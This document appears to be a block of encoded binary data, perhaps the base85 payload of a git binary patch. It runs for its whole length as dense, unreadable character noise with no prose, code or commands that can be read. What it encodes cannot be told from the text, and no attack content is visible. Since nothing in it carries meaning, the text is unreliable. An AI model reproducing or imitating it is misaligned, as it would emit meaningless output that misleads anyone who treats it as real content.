zF!55ZqI&_9Mmy4ZkX`&yVjEvzmni;L&kPL^-2>&vM$VvTByOmO-ic3v+gXPU*Ok)| z;aKBEChH2hyl5|?LvY<;)mKip+HhtG;!#)ys5k{PNAAUMQhZ@sO^^o8RDwfJ1(A{F z{$EJ9uB0B--DI)d^z51D5AUK(uDF+1i&pYEZHo*tf8LiB^Lh8C&XU_V+PT#ABR->; zBO))t{ZB+cMpaaahd708`^}6W z(VYqt!F^#ei@b+DYvbiL>IuG;3$VK43$@j=_*#?I?75~63z;3VH)~BxftC8dSp06{ zZbH%J;k3xNnUhgipV%joPFM<0zd7<(+4}j6WElqv|Fq{zj85*4S9RZBJ+pEqPmhA9 za&@(M$C{dj#`uO7*#?4N&rCfula=o zudPIeIh){Ug*D}{k%Q)8TDaKp0_5Kq0u%wJw|JD_MX7w;E=qO_3 zwlNtp|50S+->?@?@^X6yMroU}rH)n!!qBEAR zyN!nHMu2ZDk{3%F&PcL|yM-Tg3xI+cr{F5xjBfO?6Z&R!Kn zk)$1hwy-rkiho}I%`0q;l$()OnvR$XhDVTcV<-O(_}PJsDP^ydKgoHiWp`Gam4J~{ zQSzd6wc2Qpnp*f(xn1yn#40(L9I-FobV%@&cN9z|);}Zf-k3mhneTA2D6z@tX>WKS-NNAHX^d1F zWeadZ82#P?7ZH)0jIxDz`s*lLC|q-aTxAS;6pGi_qgU--_ZT5}tG~0p;I5tAd3jLs zdRbEH<}&Migdr0o(^+MO>33U7}QLgO*bN-?{kHyLR~8 zxO3jKWB_q+S+~lgk#$%*-Y+9)3qf06Xy)=XWN(yDZ{iXs2Ll!>QH9+Rejnm8G0{2Fe^H+4mAlpB(&Kc61tNpm?{qm9gDLC%(iDcNT>s+k!4KtTO0oo08(?HfjYE{Bg*Xpi`ZWcPh z6`2y6TuU?G6-N$52z;LD$f1{J_KH|2V4AtLubHqFS+_UTA?~p~S)^@pt5eV%S;ReihfA(G2n^fOy^c>V{F!V;r*r8L zj={R(A>jcf$WcR@E&g0_`*!bc_|f2u$dEeYsXOUb!<*?1AD@2yrlhCtm7C75)1R6L z@Zj&{?<=R6?1O){94q|dk6RW1Ygb+kT)$Wo|2AKp?{%K&Y+ch@puG)iyzxDchmH9i z_kn0zPHOc33)LLlVbyc+&vx|yey1w_bLZbW|FGr{RJ^9^j8=4h*!khWZC`DR*~)|+ z-0{Z)ZKj+s$>V=K@W%rOKW$S#X4|1H-=Q~$ekXsA$G*?s613A*SF_rz-?YOS#~6;b zgFC)1@c=t9YT=gKhj&}Qw$S|ld3I@<%DmUa38$K zyQ81CDOZ?-EeB5>e(&IpgIx!^vBcJT@Na)S*amOc)A&BhX0GVYRdxETg3N<=7i6~m z2K&*jaOUPLM!D^9M$RnTu}7O|!i%Q;B>59||1n)4(W3+5$6|MCT0thC#z5`q?b)sG zW%KRPeFcZc7DTrVq)4!8illr^2dyc3;-j?h%t)q9lm5N-{k$L&8!sHl8(cJZUvBh{f`;r&q-L|BxHnL zOaJNcplOour*ieF%4KC&vyl$snlPxi!WY5aWAdBqoflcpb>|W1X&#bHSgNxZVwu2P z_lQHXUn@e;V%ln^aj*tk3@1~OA%*YqfaNJF<<;ww+ag~i^9ny(Q^wgVDHN5jl=Ies#~u>EBI7rcSrz&lWWGPn2h2D-lsOz{SuKbJS~E8zxk z_xG894}qfu;KKPeH4s)25559%kSUjePzq7uNN>M~%qa-?pW_OX{HLvF zfj9go77v^fZ5iX=w;1aLN*37WELcC32mihS%Ia+Xz4(#(FZlO12YeADo@1`yZ*-fm zYG=`|s|1F7Ux~S$epxROHy9-at>%cHP8gUDU->Hxe~4|S`M=;Wf87f~U;C-|rHVU{ znJUKDpR!&p1A~=_;$VQ2*7vg9Na~6!<;B*%|9jVa_6SkAd$)|E<@zg^=bF5#+p&tf zDEPy3-@w6>DGd=MHi`;rqfuenpH49dh#?c5T7soCNE9#JD<-n zvgM)a0p6K*TklL$z2^IWPNiO=IW836%wv2cH!OT4LyEPZnJD(`_p&0{xp)WRy=>Tn z>b)#4b+0dlFz>y&=8bBMeP4MntD+dM@r~4d!&CR=rS2PJ4z&~V`cze2Gt)T2Ble-9 zz4$UrrS>SxfW{HyGoux*@lCW!#qJJ`MFxw_)AL2%1F8F@?|55Uqz605VRy(4d2^=i z4b)#SzahH$2Y77mTY+Qx*^;Vt@rna#kE!>XKMhIK4ip_ih5{*yzNUR%#iNq=)#yg# zJna_RiG%MkpzgEMo)c-|A)+gz(Vl_NrbT+ua-}tM8tOk(_6@qCVhM!S$nzPkxw*eJ zLTAbzlY&hr&QI88EP_ki*X82AZVWT39Mly#?(4j`uj@A2dKLoTZnVp3|u9L|i zrJi|PEoXNk5eG4PzD0OrRVIf`ewf8yxleb_i*(dhjdoGi;b~l)AZ79^v8Uq8$_Mo-Pbzj-^iF(Oe~Ej7q*N8{StBt;;#IiYNpnA(1h;khpIQ+xY=pRawIR#Ik_$>UX_-7_Bf-{p7Ll4ZC2oa!a*u8wLG{N?|jNOT>g#bq#BXS4;fSLcOK- z$?euOZ!vhy3>+=KE|*em1NI_#RJ~{xBtUBDL}A~+f{9%2Fj{J~Scna&`rH&asRz91 zZn7b4Af8JdE@?2eZ_#oAua`=!IDs`QSl(H%Clze?nXvT*d@-!Ki#GR{P5$-yzzr;g zD*Ln~xY%0%SzMYYP9&OE!-|lHVv3(N~iCId_EeSnj%DIrLteh3tmGwnWQEG+gk1P>BYBg~`1WSBzK8gr62{bCo96XIyGmHx^ZGKG zpQ08kWD3gsYlWlra~K**5lb<#PQ&8(8^VEDvAMD@PvS*tLsFpmXZ-rF6S-0?s#pr| zwtksmoQ{4xqV;2HeM;mJsdWOirbPytFNl;O$Q!CQSJW^e%BZ20>NtrwKdob@+MGwh z@Hgk`|TPF~SldeXM3tUo@65@s5?k1N5`cmZE)?i^B( zeyH=yhA(kZ+3;mrq>vkKPbX*gaI?WG`gi=;s4$756U|btYTNN?L$J%NiTk*ai`OpN z6y27S+9>Td_rW*i2})}Ua`!S~QnjI~v{B;tv@}nH)^shg=5`K8gjY)LE^dC7F2rMb zqz+n{kg?F?6VJ_^8lRRLI?mpUKV^R?-Y99p-X{3u@A91*I-XeLaT&Uz9V6q?COwuT zf8*oj@8e_nTU@~-Rb!?!P(F+H>W|APcf@k}E3-Rtixf+tv47aU^nk-$YXFL{Ud+EyH_!i<$i#c4)N z+G(gZ6>fF&EC*Ngp+i&|O20iGlLn(*4B~>ByzgjD8ER0a&6tssCMPfFd26Epoa9%Y zk^C)2#O~q_J40n}-{(jWS5KXr5}hOyc7d5OT%UFjiVa0F8Rgo+Eoo z)ufpAq})p54TZBtToBv+nKcf@3U#!Hr^}>mk%7i?9)WTzR(OFd=%Cp_UCocV_v}=+m0B&bO1B2zUzMXh_!|~R zA|Rvllq`zUH7Mc8QZ#&O(`ueJaJ;>Lbxcd2Kss0ALg}A+3pIKZ10}1qo_uO^MZJXV z$Jt?7PZ2>33+qw$7Q_+c9V~g~;@wpSOrDbBB*X97mSagO-fAtdLWP9>wk6Zn44hKZ z93Mg2h7$v=OlZRJ$&0!g=Ju>XWs}!DE-9KXEJL4&z+|hG#uF(Nc@}SW=2U7Z#KwL; zNtjy{ss-}j%~lsrN|C#ae+ z$N!}kdxD_(34D5c6aQC&dS0R(u(1=&&|*gzUiDJF0$BgDk3J)a>54z4#-}wj2!GU% z3uqqRgqMI%#b6H%;X3~o!6}}w)v!Rs7e(9BL8Us~&tJlgCr`_8Y`407=1x|4fCZ(7 zC5Vfo|7K9^RiwHrYw>ds$QmH~On6F$NqhJ+u1nT58Lbuy6mF%t+JoO@v=aLy78FoR zSWsXMIPujU$I28y?TjLnG4QM`lV-C{XRL& zURnx*u$tQRthM8B)gJjrDn~U=a(-qH>*vuiUUPLW?>HAYs;NMB9B%JMMcI)>DF+=GX50(U_|Q&XHax`LR*FJMeTcrLs5~;ItGtV%Y&%u z7Y@KWAZ0-va3gppIn`P*dThJ;`z(K(AODN``vQNP$Z@IUR|8REjR#^O&41=j5}(pFarQC| zI!k-8VFMRzymYBM=N2jKu9gAXi?2@T1dgpK1v1niwwh?~N($`yYE8eTplENFwt5+X zR6(pIo(2gRReo&Xx}QCw)_ALtwr4=bI5Cl|v;wD%;nJw-#ubO@#YIv%qGYDqYPuG? zL@L_lwWcnisV|TH^`+3&yV8=~jk_8^n4}rqm7e^d;pCN(t3|HG7>3lS0U`pc0d`QuSR?!M58muxyRz;eAuT)@- zL1LjQRJUHkLTk|{A zN+*ZQS}q70Q*nIbF=@)Kl9z;`Vk1X<8!*9|Yk_sBbkyof$S%~=HjeqxVj`q(&6SOj zaR63i#CK+d@wn83I7n(09Kmop%+l-o5VWT)M@nm&$)g=YmzlLonBXrWk6U=P>g0&zh2CMc)t@ zt4^7I=1{irBx8fgM_O^bEg!KCJu8WorT&g5ek6mptHdhADxM8h`qdyWM*OlManM2w z4K3P%sSr77;I^(hm5>{8WJtrw??tLD#NpeOyxHHn(rd7{2r5ik4`}7}@y&CIt1+Lt z4~~P{!1dU(M9az<$bq#*kT5yWDn+tbd$A0=SC2IiY1NB=89mm-r@aPK8#nO55=m{8 z+E{&3P+a9e{`)%b?}aTZY*1K{Ut%Aw@ngE>3XhC#k@PNJ8?D8R>xkSl($>~CY>{K; zdy(NHlGvXp=j=o`UZusv$PqI^|4QxEaRCskD>74|tmN>hxkPLF6BHo$+VoSIThpz@ z?jld<3Tx0AW!G%$0O!7@uON-5vOTt+MvQBY{U<*iF*#Y7a93iUl+fXUMWkj!rgq5j zwvuqB_IlZ=B;HK<>lMI22JGj&Rh&#_7`L4=P77?f|MaT76(0W^OU}bE{OO)QS&g^a z&U`=0q^29Et)+}}(+u=MdDQ=)N3mh8Wd6>T>9CesvpXW0`bKG2Jo1IH^=4hIe@tcL zX(_t{ZDh5WetvtfrqZ1F5shvgr$6;D$#vz`%{Uo7QM@wK9e)mxRblhs8HU=Dk{b+l zdc_0m0i_l_K>gGvhz zHPetGuz8g~c@%s@k2c+CZP@Z8spPGe6%l`eaMXH#L`&h#zoQiHOOL)6OUp?_({e6p zO3S&If3NXx7ypI=uX!j9hb}z7`HoNVvCg7DLOkc{)XkpdgN^hx72alVDjivLaa`fO zU8y(EpmxM35ygi2o)h)*g2k_>DqBwns3NSql$XO?d1##>kDc6LgiMIug!W$S_^OX> zyMA0_@PNzs9 zl$ydg^aO4@(HpPC=T}YWCR1rrtGL*qRl9hQjAV%5Q>OI%$?zABzEJ&U|V}T7BWI=}eGZxyAFX4+(PQE{5kqt>$kOF_k z-8STH3o^l<(O^UVU_mDOGn#D3^A@DUpV4eX)>)8g{)~rh$Rie{+@JBN4XL*vxB4?4 zvmtj0#Jbm_XCl(rMLT$|t?1R~9@Q(liw%){k6c)6Y>;2gIDvM@YvNijF^nxM1S8lS zg&d(+-Sa|b<58;!>oMgL=P`p4!&~nuM7Se3!NQ>mm-Tniu#dhX;Uf-P!Qyr3Uk5DZm1;OYI~ zF~QIU8FLw^z-^NTp0|_a=>Z*;6e;)Ip8Bp`ua6C7^-%_`vCWM z;HqG##))~UKf^bJq1zqsulm7P2SYO*u+a~mAcKsxOKE-htl}pI8DtrSbcpo+3?7fMP11GE_=g5c<1j`|#d2zyZcG(VV8g|@_w>ln)bmoEnViHPykxog0l(M` zqJXK(xyHUCxpkF9wDl}OJmHsdtEn|I{Ta%;CHvBEB_AHZ{28~}EBfaa#Ou!p+K|;2 zWSl=^xebX}kn#SE6*lDW1akI1(84~zCJ^W@j;h6fVR2M#1{zB`U~dA`ASSRN6be@B zkzOoazQjL!*=mN~$O7l_)u#44V zakZ+q4;k+P8Nc6;j7I%2d5uN`6GLce3SF{{nJfM~TmeD0a>Cj;vx(ptxbnb?vk(PL z|Jk{izM2Zx3Cif1>jY20=XHV|;PN`b3GjHGU;;RtfZ7u6ObgkxrXR4Ci_P>YQvXt~ zd4u}(nb)e{9P>)`n`@3zzj@{``Tdr8zWU5Jv(;~b=~lmE%r7~aQ%lF1U#Q=4W>Wo* zH$PCn!_7nLcY?W3{Z2G@@rxga)Y1~OMS-T7o7Hc*xk3HjYCfxegXUWGJIj1R{mwQY zRlj$d&FXi7*`R(Gn#CEPe`!0SW0+Of}g11S_!_df=^5EZ54c0 zg1c34vjkgJ@Kp)EsDdpL{H+RZli*qv+%Cb#392UVmao++;spt=P{I8YyiWxWNU%-? z4@+>43U)~_sDd9#Frb2_1aDBmP6=MEf=4A-pn}~JyhsI)NpP?V_DayLf~O?dJ3;y{ z_d4?v74%5(eS)gVVo=oFuOfUB+@XRw5`0Ysb0zq^3g$`hSrrtE4dzoSm@mP3XYRtoeGYZ;2af{H(fKRf)gbeP{9%j-k^fA@0nK1 z>{C9J*>mJL(l<$jEppA;ufznrh``Fj&Ob>5Am5ZBz}>JtXPTMoXeTQC`f6!*yv!2} zT{9DNTpR(ix84NN9ls6AtTJ@1fCW|vEW0~i<_m_39N2}x7(M~#1ViH;u**&g`F5QH zJBo~}q=R<*mIFHgtR{5*OyE`>9RSqk9WR4kyV6Ow!Ojb@R_MT++JQ~CVZ(!=aSrS{8wN==&4G>VFA{nx;D86(Ng<|69oTV* zV(B%MRG9;N--ba(l{>IEfY}{~hMMkxH`z&p!O+bPY`qPe6%5_tz#g$-vxA{q9oPf? zMcx?fhBC%@?dD91N%>4cE?u)Lz5ivYgW?L4Pb6CbfW|QXB#YZS1@#w1Af#7 z%RU|qmB__YoNC?QSN3Yz)`OwRPKNn*2HE0+p(zfy+y+0Uz*8OYH8xnb{$OZ~10L32 zysW)o=o?Oq%g(S?fk!yt#P`>d}+zf*sE8l`X(FvssdZ97w|ncxJ7}j1q`^lzXmygoHb0$L_32VM$R$@e3=cF zQ^{G$fCt-P*=d5TXz2jp9t;=T9oVm8tR+p%ABh3wR?Fe#tZKmRHu$gtTMHZT?`?3G z0$Xbv@Du&T%Nge^Z(>&38RWckRyg4A+2BqEwiY?ypbeID&{^kzi~Ec3Rx#F6CuW45 z;g|wjs~xb{2Fr2jEO@}5LH|l$Pbsjq<^jJ0*d81go3OL&iD|Jj$f@eAe89i4!E(Gh ziy!dc+h93ro%Ij+f&Sv<kW<*%1pwb{gXKh)jX*AttfC?tET^-x7m#{* zfARS$#@Y^uNw+h|!R_n_fRhWYQIJF2*%Scpx509tJNp9QEr9L8k@MZz8i-kMXOOer z*%|;pY=h<8ceVz=5gRNtfNTvmV$SO?zC^`XTLT%U*%^d9aJB}(SJ_~p6M`XYYXE$K z4HlZg*%|<+pup|c3kl(D4aEGJ7{LW0CxRhsYXJO)4HnYE*%|y3C?VY2yV>4TOd&lVQ+Llk-uYPBKJ0 za*~}hi8wg=z@GPtS_)f7Z=XJT*BmF&w5{`Zv`Mwxor{ZFdOD=4@KEhV&A(HdMls?1 zG7A_<(xk1FSEt?ZcV*or@msZSZAxq86AIYe4UILrgEqC$9+%zTmjR~sy-(%6qfbV1 z?bwnWguDgDZS1J_>f7$E$t`qV*sH0}|25j0)^jlWm$Wqj-{1J^NSlx)%3JWQJ5Es% z!-m#}+?Q&MABh2*3(Vm)4ny^K_d~6!(9o-_Oqe9L3k{FZ6&9&JMQ6 z^lWUsU5-%K`R?P!&c+U&0cgR9?9bw!^K|$9rjC*zEx>*K5>Iw-9qtVKIU>=cXE`ku z{$&m-CWq1c#SwR)GiYi|cWrGv&=o`idPwxBFOJ2XQ_nn8_l%h}77ULZ)~8~FH}Jmh z)?UXo+*J4n9|mE7SDUZ=NJb5blE?+p{I>b}5+CwgbIcoWVNPMmIOabOF2npM|J77i z6{U(kL1PImsQRI00nyg$IneV?^neScyj+xrMJ;MLk-25W<@Lu6Coa!coywB}`c$WK z`c$X#cqSCpsXV1RbpR!+JPOGrb^YEqC~{2FlL}Yp#N_p1NG$m`bUol6MI2OM)jN>nkg9;!AP}^0kDg z)$Qx{;~fRPsPZIc{Z1)aW!OJRql+mlF-|u+a7y7M{;YP4Zne2{dy%0)mLl@j{KD3GdwMbAAVmd`eTby< z9HktfSC_N(ZMs&BK42c=8ZKhUZnmZ;O*GQ9O#{ei=Mpto#Hj1oAFn*K{_~{fJ-Bx4 ztGJtLt(1|&{kOixqZ`-?`sLbWG%Qz1c#vwG;T3|y{QewSPsqNnywY*1l$b5sjQtgV zC@38LD*S(Km*pdVfi&TDA^4bCe)hUq2di6Iv8N(fM(ZdCP7@FBmXCna9P`J3)ORgT z1EMR@?$Jwg!?i&3At=y^V8<*34bHM{Fi<0;gPm;p8B{v>h0kr2} z@Zuef?`3eJHMXMT8ntaNe+V?c|^ z{eW_C@hHiW2Z2!>17f+#T1!WP>N#bUfFny*8?lC+C0fgRf4;fs58-- zY}sm}!=;I9XvOiV-t>q+`T)+6E=?`*^%u70Tk@og4rC-VdW$zb`8+ApB15W8DT!9{ zYI}<}E%_w+#xJ?3Yji8Zy-g3Qk;t)%={dNlf$xiVjD9oN*eb1OD1I%IXbna5@09z3 z zS?R=nE1>XstIt*ZfG_;}RFU~^6?OTi`XaxoHXopH;d1{BxJZYjii~b^izKMUbj$Az zHQx#LzLXdY;6L*x$ll0$Xgn%cgMR!_oFKClN+Ps8zCmHe493IPj~O!0_Hf`#9^%6q zj?9sz-jd{GD`^mPpUtkR#$r^Bc`Z#T;Z>_|!QS`>r?(@ctahWcug7#)NiGMbIURP6 zzIX5KU&3rqHA-)`a*-z_l2reE(yA?7vdE_ZKeYjo%jJ6D4RTgw$lx!^cDeF{=DUo) zYIyi+Hh9))wfT4vgP1&aPIB?U#=Xu-u8x3CvM|~^=FLrA*2_N6I7W}=oiT{Ao8gIa zKrmEWZ7y;0hI2y$0OMWyK^iAp2j@eHycvP@czf{i>1^@GELKiF=^SyNR6D@H;9+xt!C8pF+39`)7RLVhj*O%12((9^? zT#GNmMa%Cb&wW-Nmc^w;7LT%$FU$N7$>1|@AOrbIWkA8_l?cLSfN$}rpfsKNKJOD2 zlTd4ti)rI&%N=W%3R~`2_Y=l=5JJ_CJJzj0m=mhRv>g%+qO0*6VA%P_JL)g_pV{8Wx))F(PnP2zruNP?^4-9Ja@g)m*=9;z&@{z*uom8q*WlNg{HO%Lvsm#qAMwx@L%n%JOdYfq(4ua-;OxWfKGsH@8oC{9 zquCiFvr3ZRa@N}OYe{UH8}0Rmm9n7-e##~{AgX!vWnO)m$H;QF6j@+uOZk8|Z|D&* zeZUipdAl^NJN2R}tg({ulEab1FqBrZ=x@L0TzY5&^`wUGrwy`Zj=MZ~WY4#SSa3x` z0T!~d`b#L_oCEeMK*DCWi!I@JjegJLQb%q7S@;lj)P~X)ee!SWB($pQ$r4-(58{_4 z9L_kNl||K8Aj6{$Io2-6yEI-lEOT41zwssdL(c)T%Jwq;sC+N)iFX%-rNACZ4!n5hD2s?xs24~tic#l1A&AAp6Jq?94 zcC3BuUM9P>eeyck6Mo()p~!sRE+CTKsL7EFrX+7ao|PU6sxx(*I#Xry4|1}6>uTpr z&5LU3;1#ghx6uMQg+@r$VaA2Wx28qTuQvZddI$!3qdU{|3rTBaopH{tr?ti{edkIa zwo7aK&RVCv_)lbq>2GuD-)%%6)u;(N6i>~Glon6*g(uUV?KAB5jOSH0IV$==j z_2t_B61F%cTv`J`GLSM9sSwsEkO7Xa!ZwNf>le+x@^;;~XwE%6?Me3{P+(8`-#BKS zN&mHA9lidVN&nh@TdRCQf3q{4W)GAupV7f`_7LSs2frbG5?aXK4`fUD zn*Cs(yeK>S0aoQuI@UG~6cWF?!5<2rRO zs#Dh1$92O#u0JYdIL|n)m9Nw@QmT{sKdqDcjWbSaS<@|b{^nfB1RPhPxYwJz_%AFj zxn!&D1d%Xv8pH-|MwS5T;gs=4kc%ekV-Z7{-?+oYo?YoQNmVq~AK~h$ymVfgQcqmw ztDKuw5MpfHt%=6{Y^qCWgLq<<;mh%dpldrL&TP|oy zNi6J8t`i>##b0nCp zYJC0#qy{t+m0u<#5@u9uBloU5_5JjmnG~gHl|P6$gu>f8>m!W=9;hT_3(qq@{U+8i_Q5GK!D z49;O-IgBsfcr>5NRn$!qHA!%vSjZDa@JNwwQ_eVu9YqBO6`3P;wghaED~5D{8_Tb* zkkt=EPLV5pr~jWPP_QNIvsu_1NaWQO(#$!4no2y%9O4 zaBg%`$wmmhNOraPa-$kS#W%S2+k~BK(KoMG(`I}yN7y&kwkqO|zoG}V$*Zf)u@V3Y zGDO;WL{F*DRRZ|~O?cI-BK$q_8(=ja<1dD#?3fZ&dqL45WKav-6VoG8$RsZ}Z2QKI zg)0#4SWdK^FO$J>rR=0ovE!mxtvD}e{)t^e1g^s)aOd`6@*>Pi4<$i* zSPPnMc3i|g0E4sQ(bz{trO6nzW4HsyD5}WR_zg}?ZH^kMnAD&Kqa%zo@nO?XKX79# zx#-4v>BbrMBacq&zY?-=6w7S#Kn5BvbLVBk{nqPS^uVhyz*j*JP0nmQlDY|Cpxc;? zdF5jeo_JZ(tGd{o8c(LRpjm#I@ddWO?~HXvvP&?UwBlIeC5|F4O!eKr{q1i<>2ngl z=6hXmGj1g!-SPSl^{T_qlN(gc40@zP3Pwsv!3ea>0|4@BiU75qv?Fbc18u@R7_R*-(B%1Bd{%A)!W*YUUVpw zUZ{!-Y^(KeUy+UT!fEkt;*%cz&Ukn9h-do!9~%|B;R&loS<|`ytmzDmm|chy#!j)U z)XDf;lZg|{uTEx`n#|-P2A54cRCX{XcqJ2 z^i?K+VLhv_xTrMR_I=EF&+Y1Y8x`@|!d;-ffM>j&hX3N7agkgzp=t=4g49Sek394HvU27v`Bkc_FY`75C%hvT3Cce zE94Q-hCXDW{Il9hr}c{Mq5ORx%lt@t>5ak-8mU@nR2(_G}I@SV*kLx33qW}NxxQl4*|J`x_yB&9-Ofx&K zjMV?#aU=ihcig*~r~h3$?gCom?6}gp|2;cynAXUSD=l<(T!Edj<4S}7x9qs8EnnSn z@1=?VlO6Y8uI$@!8;>@yU7tbb24E^Qz+cbU;79?jM(9!;+0>6ca~=?EmkT2=1S zXU{Fs!)@`oh7*P1!iE!9g)eV7F)qBZ;lxz!$2U-B!->F3UqfPH!-+I)^)~>7G81we zy*ZSffMcCfWoi!v<$`*4OSPuk0aBXQga8%#MjH}GxRY5;0lWe}*b7F4nu}Lm$aQ?l zfQH1ll4h+enO4fUkOJC2@|=O}%L`vAdb%pQP-~Jl&}^*rg*O7 z7g7+n{=jo<29`^q;T}Ek98uDO%k1ihO7&j5`WbfRA32pXG+L8zkX1cy6_~mb(T;%j zW3lLAkIqBy6TUeyK=o0|q6y5nwmO|0Ay49JqT^Fe>wyi{{APs)BrXPKPvt1C^EqlN z_W}%g6QXq=%0hI4seCN47m6*El}H1qI{0MLZM8Gp+mN`X;e=OPZGa-lf3YTcJ>5&b zP&_w3JSsi~Eu#%~Ew74!iTfxdTJad=%})GC${jfS=4kIgEp`td$#RJ8FKGOe$q_O& zMR&b{A(Y5(qwSsU&l*n$b6u`ggDkwIj{3vN^VU@S_O(jDNw1{$+Qaw7%`&|ePv|(D zSSzlL-iGxS?afJx0ZIw}tX1)5Yh+hs<-LxAZg#Z<{b8GO&Cy zKVftzpNm&)tAwN16*PU=nKUXM6GqdH`_p^gb%P;+Cz)rrJCbJvo|aHyWVqE(?U9=) ztMT-Pq?i-Cn()iZ*&(7w7GPhkX%OG{4}AH+ONhC=3#@o!^;)QR2@8v6QrR zR_kfEUiF+Fc_G?`nT|IA-?iPhSyq`_R(D--+TtO2gsk5juh`7@GtWGes(4x3bpJr3 z>J6i#XsbTA$+|1g-4A9eA+XV%`rHGfQ5!uR_gtuL>Q+EK@>rd}Q;SZg2Aq0m(Gmii z|Mt3kb!)4|pvmUfZ&F{ph|S%dxLy*%N-Zeu3G4>TR#5`}q3gF}#v)q34L*$6EDpSp z$W;k(kW<<-+3O@6P+W^>M)5`A7eX0ETfFMPd_C~6UjKw%|1=Df+40D>`1n$s@PP^# zQ&tP=Nuz>ouUXsV(tghc_-Xger~Egc;__SZ^b$-cmoSHcX8q<*zRr-8Mm!&*+n4p-Fp?o4-fR&d)(b*fk!~DRXgR+_f?#`oACW}jk!%ofgOM! z$9C@SJ|5Vg7EYVWnJTNx?qEds(^6cc;1}m*K?CvRGPv<$v8T|Oay6v6A|*!PEqFH(lpNpD z=c-^n$=`iRSZ4a%cSIB`t4^0UiE1|@9lOERGJ6uPSSp?pa;i`I0p#_t_cm!IG zbGO6Z(sFk5@AB=~BH-U<{`q&L z<;>#WCjR}Le<%3&DgWB|he2Jgu{mb>jW*W}UR504zOdZj@$@m=>SsEvG%#?QVy9sl zxF8RPqHxkY!byvs&Ry{hCz)khcoEELhhb)}W{0m;U(tdM@YH_gaL%&nxY1z_pbc#n zyDXe5?6Qz|(HLo*D3^*3PzRTLqem>PeU#}Qugr-R9V(vZja(BNXuf?OS@gN5clXaZ30-8gui2Vhi!P71!q1$rL@LN(I3fxSR!%W z>Y7-~@&zcj!+KmY8*$O@)>MYoB*V8w%;g@RHW-6;lcEy`r^44qC*_G8b7Vx(4jgOc zi1DS!`IVt#NpEH7uSs`h=y+=A7zWAksJu~MCZ`bgguhcLWX}LvYK|rt%@+fH_LDaJ zLb0km)Er>NnAi0sPEJ7__j231@}*z3t}LcMF?DKqyx3RX39UxK=5c=Qx*nh~oX8EhuL!3gv_l{=-p5cH}ChK~6Oh*42WJ=66-ublbfdH{Iky75>LiuRtyj`UB5 zLi}2vDJ+xA_LRIBZT!Bs4MwqmnWtm#v&nev2bXhSE3{2jIYm1VC?2l%2#f|c$UgV* z=(jooog(e4ZHnYf9^Ks$*e_olfdjjDe|eK$)xhCW!x0wFY@eEbRno)Xe3;AZ-H{uR zr-^ldTE+EVEhf88QA_hJZbWL-(JLqA<1MGR7Yy>`H&4YVN?pfP&p21&u-7^+V-J%9 zGF~L~8tU|HX3xJh;$a2{i;zx9Bx}(a-uIGab--!eoLWu#+-`mDF&%eP^)G1A*;MwDyxt5+;NvO$lmg}_)Gk95U7rSbc)$F-co85JW!dwA)az^jG!`(9(pDM+2TZ-O66 zXRXn?*n?wvc8bYDs5a|UPJv27`?Siq??yF#HgWvT7>>Nh7Hi|P(Tj-gR{|NJk_~d@Hm>?s)z~q z39|6KLN1|yQmgK>=pO;x|6OBli_y_@plB}?5X|nt2IgRjQQy>5)g4YN<4w|NQ*=gV(R#&4Aa$Kye&D`=gk&!u%tpQ#pqXTPG*u{mPWvQT^_F>d=LrI9{eSkH5m+GX$f!l9izAC1gLB&eF#F=zxul1 z@o1h)dPl#h2b$ciV7_WCqg?0TZV~WCpsCIe2^}pGR8@E`_h>>ko(o+svL^p6o)1xp zS|S&*7!Ej#!56LH??ODdzS9-n2#r>83=`;88)oCaq6GrJz6(z`@rg)BJgV0}hg?0L zOSRv38k0fnC*u=y{Jr4x$v(pUN&SACa8EPpxm7)ib>yg-PSzQe05)%d`Zfa3B2GW0 zT!`+#vsgy^2SMP7jlkfX_G2Y-D{KAh2Wo`i`1|7 zBefn8j0PhWQeUi)`qi&R>f?dDG^65SBd{66TM#ATZ#^L|TASGgu9m|g%^JSqKtumg zIa#!*nkT#4Cws;<*JdQ1gI__G(9qfb-j%%ZQIy&Gmz>7GoMtT)wS>HS{gbrqh%wik zkNL}X+?!mC)MyVs+xOKZ_bp~tnZtvl-^7*7A zM$>LPc~mNA8;?k(4xuv-f00(dz4k0_v9A2h@TctUSl!UO^*LSvII$s`Fm7eec6E+OYCPq?qMPSe(=o|yI8 z{q@|T&DoTT-jssQ$f1xXX5wb99XO7%3R~Tgb%fbs#HCAe_McEUbZ9K)nS`_n!(XiZ z07}j(JJR_xj!dn(aC=>IQhjbx_a~mKpOwHv6Pc~oQtzCGC{B~q@m1$eO8FtQgXVDD zn(vav5k(NKq>x!M1u4kv!NH6@zZ?b#2vCPzD+ z=p@U7Pivg0_k@19l~wwQdZXqOIzaQ$R`Z$1#BR^5eCcuXNWv@8FAsk;diwC!qTPnS z5EPi=00(FF#F1)l-PiifMn>ZZGavT1vO{9r;94hkq11NzxMd zgpV+hm0jawGQzD-*?f}O$VgrJ5sS2sUhVT9w?kWozt??*4o^;N8jVGXKa&~z_mzhz z21}(w=^xrsTxUx0f-S`hwiGWUno_)AOYwqA(fyH~E1&Q4o9Km@N{aUesSQ;7P3-ig zFBrv70?7&$Uogs>Z*oQh6cJwvfFM%cZqG8pC@ zOn;8EGBWp%B*s|$M@9u1{YOR#*&Rd3?mtq_p6OTad|b7Uy)Q(Gpi%o1C)23?3Tj(> z%d%E&WAk~L{Z#AMT=aDGtbvV8w$ap!o;HzDf4`{)C&^ZW!}FzmZc6!RXCL0wsV8B6 z={OG8{_Jby^YmoX8w|xWXHt$-E(*S2IesL&bX1flO;KL!peU~$t0<-*U#uKkyS6O-Y|VSORclvG$W-@CTE0D5{S!=4?*s$tn_$rGl(31@R=)Iv8i(8R zUyb&mCR9bXgTAT`O4m>ar8%jC(z;f@#P?iD6-^~Fv16UPJ-eSSUUZ!#Cvz^{3;^cB za`{a?xY3;w>w0VB;?DCD=5^iQ$@lg^9#^MIOhkPUh!xN2P3N4&_VelbPWdmid-6>4 zZ;7(}rhrp0ec_2sNjB7eVtHy$od;!7V=m({-~f*SzkMdD&)xqfFIt>;?()XZt{eW$ zLJnN4{P@jeP0F@rAhL^ps2e%W4698wWQn%PMq9JHM)bcYmaRW68$f;`44K%LJ!5Oh0W*~)^{CAr-nd5Xuj z8+nqv(JAX*v(s6*wI5F#J0n~8w{R3sk|*$7_H$+3W7{F(?gwAn%7s(L@~wgWFR{et zsNYr|VNB4~6h}OG<`Ns`_Sw4sTzL}SQ(wdDuID80?Y@PpiNi_T_rGSI+1B%(?oqv~ z+z)p1T{&}YeG?}#^~{Soj^lp9`>I~8_rd-&-2H_2{wVh2Vu??9&&#@I-qqJ#^wRCI 